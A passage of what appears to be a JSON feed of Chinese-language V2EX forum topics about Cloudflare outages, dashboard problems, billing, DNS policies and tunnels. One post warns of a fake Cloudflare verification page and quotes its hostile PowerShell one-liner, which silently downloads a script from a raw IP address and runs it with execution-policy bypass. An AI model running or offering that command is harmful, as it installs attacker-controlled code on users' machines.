"\u96be\u9053\u6ca1\u4eba\u89c9\u5f97 cloudflare \u6539\u7248\u540e\uff0c\u5f88\u96be\u7528\u5417\uff1f", "id": "t/1177442", "date_published": "2025-12-08T00:29:57+00:00", "content_html": "

\u7279\u522b\u662f pages \uff0c\u6211\u90fd\u5feb\u627e\u4e0d\u5230\u90e8\u7f72\u5165\u53e3\u4e86\uff0c\u4e0d\u77e5\u9053\u4e3a\u5565\u7a81\u7136\u4e0d\u597d\u7528\u4e86\u3002\u3002\u3002

\n" }, { "author": { "url": "member/pingdog", "name": "pingdog", "avatar": "https://cdn.v2ex.com/gravatar/80a77afb1761c378e3255001241a6f8b?s=73&d=retro" }, "url": "t/1177239", "title": "Cloudflare \u53d1\u8868 12/5 \u7684\u6545\u969c\u62a5\u544a", "id": "t/1177239", "date_published": "2025-12-05T20:12:09+00:00", "content_html": "https://blog.cloudflare.com/5-december-2025-outage/

\u4e0a\u4e2a\u6708\u7684\u6545\u969c\u90e8\u5206\u6258\u7ba1 FL1(nginx +lua)\u53d7\u5f71\u54cd
\u8fd9\u6b21\u5219\u6258\u7ba1\u5728 FL2(pingora)\u5b8c\u5168\u4e0d\u5f71\u54cd

cloudflare / aws / azure \u6bcf\u6b21 incident report \u90fd\u5e26\u6709\u6280\u672f\u7ec6\u8282\uff0c\u4e0d\u906e\u63a9\uff0c\u975e\u5e38\u559c\u6b22

\u626f\u5f00\u8bdd\u9898\uff1b FL1 \u8fed\u4ee3\u5341\u591a\u5e74\uff0c\u770b cloudflare \u8fd9\u6b21\u53d1\u51fa\u7684\u76d1\u63a7\u6570\u636e\uff0c\u8fd8\u5269 30%\u6d41\u91cf\u5728 FL1 \uff0c70%\u6d41\u91cf\u90fd\u5728 pingora \u4e0a\u4e86\uff0c\u9ad8\u5e76\u53d1\u8003\u9a8c\u5df2\u7ecf\u8fbe\u5230\u4e86\uff0c\u8fd1\u51e0\u5e74 nginx \u4e00\u4e9b\u6838\u5fc3\u5f00\u53d1\u8005\u548c F5 \u95f9\u7684\u4e0d\u6b22\uff0cpingora \u4f30\u8ba1\u8981\u548c nginx \u534a\u5206\u5929\u4e0b\u4e86" }, { "author": { "url": "member/Jusekenny", "name": "Jusekenny", "avatar": "https://cdn.v2ex.com/avatar/2e45/b886/312404_large.png?m=1655795009" }, "url": "t/1177068", "title": "cloudflare \u5e74\u5ea6\u603b\u7ed3\u6765\u4e86", "id": "t/1177068", "date_published": "2025-12-05T02:48:51+00:00", "content_html": "\u90ae\u4ef6\u6536\u5230\u4e86 cf \u7684\u5e74\u5ea6\u603b\u7ed3

\u6ca1\u60f3\u5230\u7528\u4e86 1.9T \u7684\u5e26\u5bbd\u3002

" }, { "author": { "url": "member/cj323", "name": "cj323", "avatar": "https://cdn.v2ex.com/gravatar/55d8713a4741083ba73747a518298a1f?s=73&d=retro" }, "url": "t/1177013", "date_modified": "2025-12-04T20:02:34+00:00", "content_html": "

\u597d\u5bb6\u4f19\uff0c\u624d\u77e5\u9053 cloudflare \u7684 DNS \u89e3\u6790\u8fd8\u6709\u7b56\u7565\uff0c\u800c\u4e14\u4f46\u770b\u8d77\u6765\u529f\u80fd\u5341\u5206\u5f3a\u5927\u3002\u53ef\u4ee5\u5c4f\u853d ip \uff0c\u56fd\u5bb6\uff0c\u7c7b\u578b\u3002\u751a\u81f3\u53ef\u4ee5 AND OR \u903b\u8f91\uff0c\u6bd4\u4e0d\u5c11\u4ee3\u7406\u7684 dns \u5206\u6d41\u529f\u80fd\u8fd8\u5f3a\u3002

\n

\u5927\u5bb6\u6709\u6ca1\u6709\u8bbe\u7f6e\u8fc7\u3002\u6211\u5728\u8003\u5c4f\u853d\u4e00\u4e9b\u6bd4\u8f83\u5371\u9669\u7684\u533a\u57df\uff0c\u6bd4\u5982 RU \uff0c\u518d\u5c4f\u853d\u6240\u6709\u5e26\u5b89\u5168\u9690\u60a3\u7684\u7c7b\u578b\uff0c\u6bd4\u5982\u793e\u5de5\u7c7b\u3002\u4e0d\u77e5\u9053\u8fd8\u6709\u6ca1\u6709\u4ec0\u4e48\u5176\u4ed6\u64cd\u4f5c\u3002

\n

https://developers.cloudflare.com/cloudflare-one/traffic-policies/dns-policies/

\n", "date_published": "2025-12-04T20:02:08+00:00", "title": "Cloudflare DNS \u89e3\u6790\u7b56\u7565", "id": "t/1177013" }, { "author": { "url": "member/HUZHUANGZHUANG", "name": "HUZHUANGZHUANG", "avatar": "https://cdn.v2ex.com/avatar/d1a0/45d9/631654_large.png?m=1702137664" }, "url": "t/1176973", "title": "\u8bf7\u95ee cloudflare \u8ba1\u8d39\u6700\u8fd1\u662f\u4e0d\u662f\u51fa\u4e86\u95ee\u9898\uff1f\u6263\u4e86\u6211 5 \u7f8e\u5143\u7684 workers \u4f1a\u5458\u8d39\uff0c paypal \u6709\u6263\u8d39\u8bb0\u5f55\uff0c\u4e5f\u6709\u53d1\u7968\uff0c\u7ed3\u679c\u663e\u793a\u6211\u8fd8\u662f\u514d\u8d39\u8ba1\u5212", "id": "t/1176973", "date_published": "2025-12-04T11:31:46+00:00", "content_html": "" }, { "author": { "url": "member/C64NRD", "name": "C64NRD", "avatar": "https://cdn.v2ex.com/avatar/dab9/cfb7/19219_large.png?m=1765471900" }, "url": "t/1176704", "date_modified": "2025-12-05T00:30:06+00:00", "content_html": "

\u6700\u8fd1\u611f\u89c9 https://dash.cloudflare.com/ \u5df2\u7ecf\u6210\u4e86\u6700\u96be\u8bbf\u95ee\u7684\u7f51\u9875\uff0c\u6ca1\u6709\u4e4b\u4e00\uff08\u6709\u4e9b\u7f51\u7ad9\u65e0\u6cd5\u8bbf\u95ee\u8981\u4e48\u76f4\u63a5\u62a5\u9519\uff0ccloudflare \u4e00\u76f4 loading \uff09\u3002\u6bcf\u6b21\u90fd\u5361\u5728\u201cCloudflare \u4eea\u8868\u677f\u6b63\u5728\u52a0\u8f7d\u3002\u201d\u66f4\u6362\u8282\u70b9\u4e5f\u6ca1\u6548\u679c\uff0c\u8bf7\u6559\u5927\u4f19\u6709\u4ec0\u4e48\u6280\u5de7\u5417\uff1f

\n
\n

\u521a\u521a\u6253\u5f00\u767b\u5f55\u9875\u82b1\u4e86 40 \u591a\u79d2\uff0c\u4e00\u4e2a\u767b\u5f55\u754c\u9762\u6709 200 \u591a\u4e2a\u8bf7\u6c42\uff0c\u70b9\u4e86\u4eba\u673a\u9a8c\u8bc1\u53c8\u5361\u5728 loading \u754c\u9762 30 \u591a\u79d2\u3002\u6709\u6ca1\u6709\u53ef\u80fd\u7b49\u5f85\u672c\u8eab\u5c31\u662f\u9632\u673a\u5668\u4eba\u7684\u4e00\u4e2a\u624b\u6bb5\uff0c\u5e76\u4e0d\u662f\u670d\u52a1\u6162\u3002

\n
\n", "date_published": "2025-12-03T09:32:03+00:00", "title": "\u8bf7\u6559\u8bbf\u95ee Cloudflare Dashboard \u7684\u6b63\u786e\u65b9\u5f0f", "id": "t/1176704" }, { "author": { "url": "member/renfei", "name": "renfei", "avatar": "https://cdn.v2ex.com/gravatar/2a08972a89c1538ee21d680378452869?s=73&d=retro" }, "url": "t/1176691", "title": "\u6211\uff0c\u5403\u9971\u4e86\u6491\u7684\u6ce8\u518c\u4e86\u4e2a\u57df\u540d\uff0c Cloudflare \u8d26\u53f7\u6ca1\u4e86\uff0c\u4e0d\u5efa\u8bae\u5c06\u57df\u540d\u653e\u5728 Cloudflare", "id": "t/1176691", "date_published": "2025-12-03T08:37:43+00:00", "content_html": "

2023 \u5e74 12 \u6708 22 \u65e5\uff0c\u6211\u6ce8\u518c\u4e86\u4e00\u4e2a\u57df\u540d\uff1acloudflared.cn \uff0c\u60f3\u505a Cloudflare Tunnel \u4e2d\u6587\u7248\u6587\u6863

\n

2025 \u5e74 11 \u6708 12 \u65e5\uff0c\u6211\u6536\u5230\u4e86 Cloudflare \u7684\u7cfb\u7edf\u901a\u77e5\u90ae\u4ef6\uff0c\u544a\u8bc9\u6211\u53f7\u6ca1\u4e86

\n

\u7406\u7531\u662f\uff1a\u6211\u4eff\u5192\u548c\u4fb5\u72af\u4e86 cloudflare \u7684\u5546\u6807

\n

\u622a\u6b62\u5f53\u524d\u65f6\u95f4\uff0c\u6211\u7684\u53f7\u4f9d\u7136\u662f\u7981\u6b62\u7684\u72b6\u6001

\n

\u6211\u8d26\u53f7\u4e0b\u6240\u6709\u57df\u540d\uff0c\u7981\u6b62\u7ba1\u7406\uff0c\u4e5f\u5c31\u65e0\u6cd5\u8f6c\u51fa\uff0c\u64cd\u4f5c\u63a5\u53e3\u8fd4\u56de 403 \u72b6\u6001\uff1aRegistrar access forbidden

\n

\u6240\u4ee5\uff0c\u6211\u4e0d\u5efa\u8bae\u5c06\u57df\u540d\u653e\u5728 Cloudflare \uff0c\u8fd8\u662f\u53bb\u5176\u4ed6\u5730\u65b9\u6ce8\u518c NS \u63a5\u5165\u5427\u3002

\n

\u66f4\u8be6\u7ec6\u7684\u539f\u6587\u6211\u53d1\u5728\u6211\u535a\u5ba2\u4e86\uff1a https://blog.renfei.net/posts/1626402130325676137

\n" }, { "author": { "url": "member/Zarhani", "name": "Zarhani", "avatar": "https://cdn.v2ex.com/avatar/7fcd/13e3/496308_large.png?m=1762129271" }, "url": "t/1176123", "title": "\u542c\u8bf4 cloudflare tunnel \u53ef\u4ee5\u901a\u8fc7\u7b2c\u4e8c\u4e2a\u57df\u540d\u548c ip \u4f18\u9009\u641e\u8bbf\u95ee\u52a0\u901f\uff0c\u6709\u4eba\u505a\u8fc7\u5417\uff1f\u6548\u679c\u600e\u4e48\u6837\uff1f", "id": "t/1176123", "date_published": "2025-12-01T06:04:32+00:00", "content_html": "

\u542c\u8bf4 cloudflare tunnel \u53ef\u4ee5\u901a\u8fc7\u7b2c\u4e8c\u4e2a\u57df\u540d\u548c ip \u4f18\u9009\u641e\u8bbf\u95ee\u52a0\u901f\uff0c\u6709\u4eba\u505a\u8fc7\u5417\uff1f\u6548\u679c\u600e\u4e48\u6837\uff1f

\n" }, { "author": { "url": "member/Belmode", "name": "Belmode", "avatar": "https://cdn.v2ex.com/avatar/58c3/16c0/312499_large.png?m=1748572228" }, "url": "t/1175896", "date_modified": "2025-12-02T07:26:23+00:00", "content_html": "

\u60f3\u8981\u5f00\u901a cf \u7684\u4ed8\u8d39\u7b56\u7565\uff0c\u4f46\u662f\u82e6\u4e8e\u6ca1\u6709\u5916\u5e01\u5361\uff0c\u73b0\u5728\u8fd8\u6709\u4ec0\u4e48\u865a\u62df\u5361\u80fd\u8fc7 CF \u6216\u8005 ChatGPT \u5417\uff0c\u80fd\u6301\u7eed\u8ba2\u9605\u7684\u90a3\u79cd\u3002\n\ud83d\ude4f\ud83d\ude4f\ud83d\ude4f

\n", "date_published": "2025-11-30T01:24:23+00:00", "title": "\u60f3\u8981\u5f00\u901a cf \u7684\u4ed8\u8d39\u7b56\u7565\uff0c\u4f46\u662f\u82e6\u4e8e\u6ca1\u6709\u5916\u5e01\u5361", "id": "t/1175896" }, { "author": { "url": "member/sudoy", "name": "sudoy", "avatar": "https://cdn.v2ex.com/avatar/4964/914e/412163_large.png?m=1667207619" }, "url": "t/1175513", "date_modified": "2025-11-28T10:48:48+00:00", "content_html": "

\u6700\u8fd1\u7528 cloudflare workers \u642d\u5efa\u4e86\u4e00\u4e2a\u535a\u5ba2\uff0c\u4e0d\u7ba1\u662f\u672c\u5730\u7528 chrome \u8dd1 lighthouse \u8fd8\u662f\u7528 pagespeed.web.dev \u8dd1\u6d4b\u8bd5\uff0cperformance \u90a3\u91cc\u5206\u6570\u4e00\u76f4\u4e0a\u4e0d\u6765\uff0cLCP \u54cd\u5e94\u5341\u51e0\u79d2\u949f\uff0c\u6211\u6539\u6210\u7528 cloudflare images \u4f5c\u4e3a\u56fe\u7247\u6258\u7ba1\u4f9d\u7136\u5206\u6570\u5f88\u4f4e\uff0c\u4e0d\u77e5\u9053\u600e\u4e48\u4f18\u5316\u4e86\uff0c\u8bf7\u5927\u4f6c\u4eec\u8d50\u6559\uff0c\u611f\u8c22\uff01\u6211\u4e4b\u524d\u7528 netlify \u642d\u5efa\u7684\u4e00\u4e2a\u9759\u6001\u7f51\u7ad9\u901f\u5ea6\u7279\u522b\u5feb\uff0c\u6309\u7406\u8bf4 cloudflare workers \u5c5e\u4e8e\u8fb9\u7f18\u8ba1\u7b97\u5e94\u8be5\u66f4\u5feb\u624d\u5bf9\u3002\u5bf9\u4e86\uff0c\u6211\u6d4b\u8bd5\u4e86\u56fd\u5185\u5916 IP \u90fd\u662f\u5206\u6570\u5f88\u4f4e\u3002

\n", "date_published": "2025-11-27T14:42:30+00:00", "title": "cloudflare workers \u642d\u5efa\u7684\u535a\u5ba2\u901f\u5ea6\u6162\u600e\u4e48\u4f18\u5316", "id": "t/1175513" }, { "author": { "url": "member/liyafe1997", "name": "liyafe1997", "avatar": "https://cdn.v2ex.com/avatar/524e/7d08/32249_large.png?m=1764082065" }, "url": "t/1175038", "date_modified": "2025-11-25T15:04:13+00:00", "content_html": "

\"\"

\n

\u8ba9\u6211\u6267\u884c\u7684\u547d\u4ee4

\n
powershell -w h -c \"$u='http://83.217.209.227/2UP.lim';$p=\\\"$env:USERPROFILE\\Music\\d.ps1\\\";(New-Object System.Net.WebClient).DownloadFile($u,$p);powershell -w h -ep bypass -f $p\"\n
\n

\u6211\u8fd8\u60f3\u7740 CF \u4ec0\u4e48\u65f6\u5019\u8fd9\u4e48\u72e0\u4e86\uff0c\u5c45\u7136\u8ba9\u7528\u6237\u6267\u884c Shell \u9a8c\u8bc1\uff08\u7b2c\u4e00\u53cd\u5e94\u4ee5\u4e3a\u662f\u60f3\u8ba9\u7528\u6237\u901a\u8fc7 Shell \u5f80\u670d\u52a1\u5668\u4e0a POST \u4e00\u4e9b\u4e1c\u897f\u6765\u8bc1\u660e\u4e0d\u662f robot \uff09\uff0c\u770b\u5230\u8fd9\u91cc\u9762\u7684 URL \u5c45\u7136\u76f4\u63a5\u7528 IP \u5730\u5740\u800c\u4e14\u6ca1\u6709 https \uff0c\u8fd8\u597d\u591a\u4e86\u4e2a\u5fc3\u773c\u3002

\n

\u60f3\u770b\u770b\u8fd9\u811a\u672c\u5230\u5e95\u662f\u5565\uff0c\u76f4\u63a5\u6253\u5f00\u4e0a\u9762\u90a3\u4e2a URL \u88ab\u5361\u5df4\u65af\u57fa\u62e6\u622a\u4e86\u3002

\n

\"\"

\n

\u4e0d\u8fc7\u73b0\u5728\u597d\u50cf\u5df2\u7ecf 404 \u4e86\uff0c\u4e0d\u77e5\u9053\u662f\u4e0d\u662f\u4f1a\u5224\u65ad UA \u5565\u7684\uff0c\u7528\u6d4f\u89c8\u5668\u6253\u5f00\u5c31 404 \u3002

\n

\u5173\u952e\u662f\uff0c\u8fd9\u7406\u5e94\u662f\u4e2a\u6b63\u89c4\u7ad9\uff08\u6240\u4ee5\u4e00\u5f00\u59cb\u6211\u5fc3\u7406\u6ca1\u8bbe\u9632\uff09\uff0c\u96be\u9053\u662f\u88ab\u9ed1\u4e86\uff1f

\n", "date_published": "2025-11-25T14:58:00+00:00", "title": "\u78b0\u5230\u4e86\u4f2a\u88c5 Cloudflare \u9493\u9c7c\u9a8c\u8bc1\uff0c\u5dee\u70b9\u4e2d\u62db", "id": "t/1175038" }, { "author": { "url": "member/chengrui0428", "name": "chengrui0428", "avatar": "https://cdn.v2ex.com/gravatar/21faaad61f8252c6ad2997deab8561a9?s=73&d=retro" }, "url": "t/1174198", "title": "\u5c1d\u8bd5\u590d\u73b0 Cloudflare 2025-11-18 \u7684\u6545\u969c", "id": "t/1174198", "date_published": "2025-11-21T05:14:54+00:00", "content_html": "

cloudflare \u7684\u6545\u969c\u62a5\u544a\u5199\u7684\u660e\u786e\u548c\u6e05\u6670\uff0c\u6240\u4ee5\u6211\u5728\u81ea\u5df1\u7684\u7406\u89e3\u57fa\u7840\u4e0a\uff0c\u51c6\u5907\u5c1d\u8bd5\u590d\u73b0\u8fd9\u6b21\u6545\u969c

\n

\u6211\u5df2\u7ecf\u5b8c\u6210\u4e86\uff1a

\n\n

TODO:

\n\n

https://github.com/Laotree/reproduce_cf20251118

\n" }, { "author": { "url": "member/Netjue", "name": "Netjue", "avatar": "https://cdn.v2ex.com/gravatar/40f02543891f4bb31ab8232980e02002?s=73&d=retro" }, "url": "t/1173835", "title": "(\u6c42\u52a9) \u5982\u4f55\u9690\u85cf OSS \u62a5\u9519\u4fe1\u606f\u4e2d\u7684 Bucket \u57df\u540d", "id": "t/1173835", "date_published": "2025-11-19T14:18:36+00:00", "content_html": "

\u5728\u4f7f\u7528 Cloudflare \u4f5c\u4e3a CDN \u56de\u6e90 OSS \u7684\u8fc7\u7a0b\u4e2d\uff0c\u5f53 OSS \u8fd4\u56de\u9519\u8bef\uff08\u5982 404 / 403 \u7b49\uff09\u65f6\uff0c\u54cd\u5e94\u5185\u5bb9\u4f1a\u76f4\u63a5\u66b4\u9732 OSS \u7684 Bucket \u57df\u540d\u3002\n\u51fa\u4e8e\u5b89\u5168\u4e0e\u9690\u79c1\u8003\u8651\uff0c\u6211\u5e0c\u671b\u80fd\u591f\u5728 Cloudflare \u4fa7\u8fdb\u884c\u5904\u7406\uff0c\u7981\u6b62\u628a OSS \u8fd4\u56de\u7684\u539f\u59cb\u62a5\u9519\u4fe1\u606f\u76f4\u63a5\u5c55\u793a\u7ed9\u7528\u6237\uff0c\u907f\u514d\u6cc4\u9732 Bucket \u7684\u771f\u5b9e\u57df\u540d\u3002

\n

\u8bf7\u95ee\u662f\u5426\u6709\u529e\u6cd5\u901a\u8fc7\u4ec0\u4e48\u624b\u6bb5\u6765\u62e6\u622a\u6216\u8005\u81ea\u5b9a\u4e49 OSS \u9519\u8bef\u54cd\u5e94\uff0c\u4ece\u800c\u9690\u85cf Bucket \u4fe1\u606f\uff1f

\n

\u611f\u8c22\u5404\u4f4d\u7684\u5e2e\u52a9\uff01

\n

\"da89dc08bc6f5671fe3b51610fa6b37d.png\"

\n" }, { "author": { "url": "member/ludyleocn", "name": "ludyleocn", "avatar": "https://cdn.v2ex.com/avatar/eb41/cc9c/400437_large.png?m=1711431245" }, "url": "t/1173775", "date_modified": "2025-11-20T05:05:48+00:00", "content_html": "\u5982\u9898\uff0c\u4e0d\u77e5\u9053\u6709\u6ca1\u6709\u5927\u795e\u6709\u7814\u7a76\u8fc7\u8fd9\u65b9\u9762\u3002\u767e\u5ea6\u641c\u90fd\u662f\u5173\u6389 SSL \uff0c\u4f46\u662f\u4f7f\u7528 CF \u4ee3\u7406\u4ecd\u7136\u88ab https \u8f6c\u8df3\u3002\u6709\u5177\u4f53\u7684\u8bbe\u7f6e\u8981\u6ce8\u610f\u7684\u5417\u3002", "date_published": "2025-11-19T07:51:00+00:00", "title": "\u4f7f\u7528 CloudFlare\uff0c\u5982\u4f55\u5f7b\u5e95\u4e0d\u4f7f\u7528\u4ed6\u7684 https\uff1f", "id": "t/1173775" }, { "author": { "url": "member/ks3825", "name": "ks3825", "avatar": "https://cdn.v2ex.com/avatar/2285/65cd/92481_large.png?m=1763528095" }, "url": "t/1173729", "title": "\u8fd9\u6b21 Cloudflare \u5b95\u673a\u4e00\u4e2a\u6709\u8da3\u7684\u70b9", "id": "t/1173729", "date_published": "2025-11-19T04:55:59+00:00", "content_html": "\u72ec\u7acb\u90e8\u7f72\u7684 cloudflarestatus \u4e5f\u6302\u4e86\u4e00\u9635\u5b50\uff0c\u7136\u540e\u5bfc\u81f4\u4e8b\u6545\u524d\u671f cf \u56e2\u961f\u66f4\u52a0\u786e\u4fe1\u8fd9\u662f\u4e00\u6b21\u9488\u5bf9 cf \u7684\u7f51\u7edc\u653b\u51fb\ud83d\ude02\u3002



\u6628\u665a\u4e0a\u6211\u4e5f\u53d1\u73b0\u51e0\u6b21\u6253\u5f00 cf status \u9875\u9762 css \u6837\u5f0f\u4e22\u5931\u4e86\uff0c\u5bfb\u601d\u8fd9\u70b8\u7684\u771f\u662f\u5f7b\u5e95 hh

\u4eca\u5929 cf CEO \u5728\u63a8\u4e0a\u89e3\u91ca\u8bf4\u662f\u56e0\u4e3a\u592a\u591a\u4eba\u6d8c\u5165 cf status \uff0c\u628a\u9875\u9762\u7ed9\u538b\u7206\u4e86\ud83d\ude02

" }, { "author": { "url": "member/Cert", "name": "Cert", "avatar": "https://cdn.v2ex.com/avatar/2668/a37c/207432_large.png?m=1769180066" }, "url": "t/1173603", "title": "\u79fb\u52a8\u3001\u7535\u4fe1\u3001\u8054\u901a\u7684\u56fa\u5b9a\u5bb6\u5ead\u5bbd\u5e26\uff0c\u8bbf\u95ee Cloudflare \u5f97\u5230\u662f\u7f8e\u56fd\u7684 CDN \u8282\u70b9\uff08\u8de8\u8d8a\u6574\u4e2a\u592a\u5e73\u6d0b\uff09\uff1f \u800c\u4e0d\u662f\u4e2d\u56fd\u5468\u8fb9\u5982\uff1a\u9996\u5c14\u3001\u4e1c\u4eac\u3001\u9999\u6e2f \u8fd9\u6837\u7684\u5ef6\u8fdf\u4f4e\u7684\u8282\u70b9\uff1f", "id": "t/1173603", "date_published": "2025-11-18T14:46:20+00:00", "content_html": "

\u77e5\u9053\u201c\u4e16\u754c\u52a0\u94b1\u53ef\u53ca\u201d\u7684\u9053\u7406\uff0c\u8bf7\u5927\u5bb6\u4e0d\u8981\u6307\u8d23\u535a\u4e3b\uff0c\u5f52\u56e0\u4e3a\u4f60\u5bbd\u5e26\u592a\u4fbf\u5b9c\u4e86\u3002

\n

\u90a3\u79cd\u9ad8\u6863\u5546\u7528\u5bbd\u5e26\uff0c\u9700\u8981\u8425\u4e1a\u6267\u7167\uff0c\u666e\u901a\u5bb6\u5ead\u4e5f\u6ca1\u6709\u529e\u6cd5\u529e\u7406\u3002

\n" }, { "author": { "url": "member/haoooooooo", "name": "haoooooooo", "avatar": "https://cdn.v2ex.com/gravatar/debfeb166f8f6cd4eebe9a9791d457d0?s=73&d=retro" }, "url": "t/1173594", "date_modified": "2025-11-18T12:36:01+00:00", "content_html": "

\u611f\u89c9\u51e0\u4e4e\u6bcf\u5e74\u90fd\u80fd\u6574\u70b9\u4e8b\u6545\u51fa\u6765\uff0c\u6216\u5927\u6216\u5c0f\uff0c\u6709\u65f6\u5019\u771f\u7684\u8ba9\u4eba\u6349\u6025\uff0c\u5565\u65f6\u5019\u624d\u80fd\u7a33\u91cd\u70b9\u3002\u3002\u3002\u3002

\n", "date_published": "2025-11-18T12:19:56+00:00", "title": "Cloudflare \u600e\u4e48\u7ed9\u4eba\u4e00\u79cd\u8349\u53f0\u73ed\u5b50\u7684\u611f\u89c9\uff1f", "id": "t/1173594" }, { "author": { "url": "member/sampeng", "name": "sampeng", "avatar": "https://cdn.v2ex.com/gravatar/3b198446b72d1e5a3b0090f106a75f3c?s=73&d=retro" }, "url": "t/1173586", "title": "cloudflare \u5168\u7403\u6302\u4e86\uff1f\uff1f", "id": "t/1173586", "date_published": "2025-11-18T11:49:04+00:00", "content_html": "

\u7a81\u7136\u544a\u8b66\u6765\u4e86\uff0c\u53d1\u73b0\u7f51\u7ad9\u6ca1\u6d41\u91cf\u4e86

\n" }, { "author": { "url": "member/lister", "name": "lister", "avatar": "https://cdn.v2ex.com/avatar/e46c/5d3e/316023_large.png?m=1729601998" }, "url": "t/1173585", "title": "cloudflare \u70b8\u4e86\uff1f", "id": "t/1173585", "date_published": "2025-11-18T11:48:57+00:00", "content_html": "" }, { "author": { "url": "member/unianx", "name": "unianx", "avatar": "https://cdn.v2ex.com/avatar/47e3/246b/547867_large.png?m=1727399456" }, "url": "t/1168353", "date_modified": "2025-10-25T15:51:10+00:00", "content_html": "", "date_published": "2025-10-25T13:48:35+00:00", "title": "\u5927\u4f6c\u4eec\u6709\u6ca1\u6709\u9047\u5230\u8fc7 Cloudflare \u7eed\u8ba2\u57df\u540d 504\uff1f\u6362\u4e86\u597d\u51e0\u4e2a\u5361\u90fd\u4e0d\u884c\uff0c Paypal \u4e5f\u5c1d\u8bd5\u4e86", "id": "t/1168353" }, { "author": { "url": "member/HelloAmadeus", "name": "HelloAmadeus", "avatar": "https://cdn.v2ex.com/avatar/49e6/f706/188544_large.png?m=1685966663" }, "url": "t/1167414", "date_modified": "2025-10-21T11:43:21+00:00", "content_html": "

\u53d1\u751f\u4e86\u4e00\u4ef6\u5947\u602a\u7684\u4e8b\u60c5\uff0ccloudflare \u6ce8\u518c\u7684\u57df\u540d\u4eca\u5929\u7a81\u7136 dns \u89e3\u6790\u51fa\u95ee\u9898\u4e86\uff0c\u770b\u7740\u50cf\u88ab\u6c61\u67d3\u68c0\u6d4b\u4e86\uff0c\u90fd\u88ab\u8f6c\u5230\u8fd9 2 \u4e2a ip \u4e86\u3002\n104.21.49.209[Cloudflare, Inc.]\n172.67.193.139[Cloudflare, Inc.]

\n

\u8bd5\u4e86\u4e0b\u7f51\u4e0a dns \u6c61\u67d3\u68c0\u6d4b\u5de5\u5177\uff0c\u4e0d\u5149\u56fd\u5185\uff0c\u6d77\u5916\u4e5f\u662f\u90fd\u89e3\u6790\u5230\u4e86\u8fd9 2 \u4e2a IP \u3002\n\u600e\u4e48\u611f\u89c9\u50cf\u4e0a\u6b21\u963f\u91cc\u4e91\u7684\u6545\u969c\u4e00\u6837\uff0c\u5927\u5bb6\u6709\u5934\u7eea\u5417\uff1f

\n", "date_published": "2025-10-21T11:35:38+00:00", "title": "cloudflare \u57df\u540d\u89e3\u6790\u9519\u8bef\u95ee\u9898", "id": "t/1167414" }, { "author": { "url": "member/lewiet", "name": "lewiet", "avatar": "https://cdn.v2ex.com/avatar/afa2/bae4/636071_large.png?m=1759987992" }, "url": "t/1163881", "date_modified": "2025-10-09T05:39:33+00:00", "content_html": "

\u5148\u8bf4\u660e\u4ee3\u7801\u662f\u51e0\u5e74\u524d Worker \u4e0a\u7528\u8fc7\u6ca1\u95ee\u9898\u7684\u3002

\n

Encode \u7528 UTF8 \uff0cEOL \u4f7f\u7528 Win(CR/LF)\u548c Unix(LF)\u90fd\u8bd5\u8fc7\u3002

\n", "date_published": "2025-10-09T05:37:57+00:00", "title": "Worker \u7684 Editor \u8d34\u5165\u4ee3\u7801\u540e\u600e\u4e48\u603b\u662f\u5931\u53bb\u683c\u5f0f\uff0c\u5168\u90e8\u8fde\u6210\u4e00\u6761", "id": "t/1163881" }, { "author": { "url": "member/Zane3", "name": "Zane3", "avatar": "https://cdn.v2ex.com/avatar/7b5e/60bb/508109_large.png?m=1758772314" }, "url": "t/1163843", "date_modified": "2025-10-12T01:13:58+00:00", "content_html": "\u7f51\u7ad9 og:image \u793e\u4ea4\u9884\u89c8\u6293\u53d6\u4e0d\u5230\uff1f\u8e29\u5751\u8bb0\u5f55\uff01\u539f\u6765\u662f Cloudflare R2 \u6ca1\u6709\u52a0 CORS header \uff0c\u5bfc\u81f4 Twitter/X \u6293\u4e0d\u5230\u7f29\u7565\u56fe\u3002

\u540e\u53f0\u624b\u52a8\u52a0\u4e0a Access-Control-Allow-Origin: *\uff0c\u5237\u65b0 CDN \u7f13\u5b58\u4e00\u5206\u949f\u641e\u5b9a\uff01\u5efa\u8bae\u6240\u6709\u7528 R2/\u5bf9\u8c61\u5b58\u50a8\u505a og:image \u7684\u5f00\u53d1\u8005\u90fd\u6ce8\u610f\u8fd9\u4e2a\u8de8\u57df\u5751\uff0c\u7701\u4e0b\u65e0\u6570\u8c03\u8bd5\u65f6\u95f4\uff01", "date_published": "2025-10-09T02:54:23+00:00", "title": "\u95ee\u9898\u603b\u7ed3 & \u89e3\u51b3\u7ecf\u9a8c | Cloudflare R2 og:image \u8de8\u57df\u6293\u53d6\u5931\u8d25", "id": "t/1163843" }, { "author": { "url": "member/DopaminePlz", "name": "DopaminePlz", "avatar": "https://cdn.v2ex.com/gravatar/18fe7de28c6a8e5e193f9bf66f2fcf60?s=73&d=retro" }, "url": "t/1163577", "title": "tunnel \u51fa\u9519\uff01", "id": "t/1163577", "date_published": "2025-10-07T00:44:34+00:00", "content_html": "

\u6309\u7167\u5b98\u65b9 Tunnels -- Install and run a connector \u547d\u4ee4\u51fa\u9519\uff01

\n
docker run cloudflare/cloudflared:latest tunnel --no-autoupdate run --token $TOKEN\n
\n

\u51fa\u9519\u4fe1\u606f\u5982\u4e0b\uff1a

\n
Incorrect Usage: flag provided but not defined: -token\n\nNAME:\n cloudflared tunnel run - Proxy a local web server by running the given tunnel\n\nUSAGE:\n cloudflared tunnel run [command options] TUNNEL-ID\n
\n

\u4ee5\u524d\u5728\u53e6\u5916\u4e00\u53f0\u8bbe\u5907\u4e0a\u8fd0\u884c\u597d\u597d\u7684\uff0c\u4eca\u5929\u5728\u963f\u91cc\u4e91\u4e0a\u5c31\u51fa\u73b0\u8fd9\u4e2a\u9519\u8bef\uff01\n\u8bf7\u95ee\u5982\u4f55\u89e3\u51b3\uff1f

\n" }, { "author": { "url": "member/azev", "name": "azev", "avatar": "https://cdn.v2ex.com/gravatar/f21a89989714d9a010856e3783923299?s=73&d=retro" }, "url": "t/1158964", "date_modified": "2025-09-14T22:54:23+00:00", "content_html": "

\u770b\u5230 24 \u5c0f\u65f6\u5185\u6709\u4e2a ip \u8bf7\u6c42\u6211\u7f51\u7ad9\u7684 xmlrpc.php \u8fbe\u5230\u4e86 90 \u591a\u4e07\u6b21\uff0c\u4f46\u4e00\u76f4\u6ca1\u6709\u88ab\u62e6\u6389 \u4e00\u76f4\u8fd8\u5728\u8bf7\u6c42
\n\u5fc5\u987b\u5f97\u624b\u52a8\u5efa WAF \u5417\uff1f

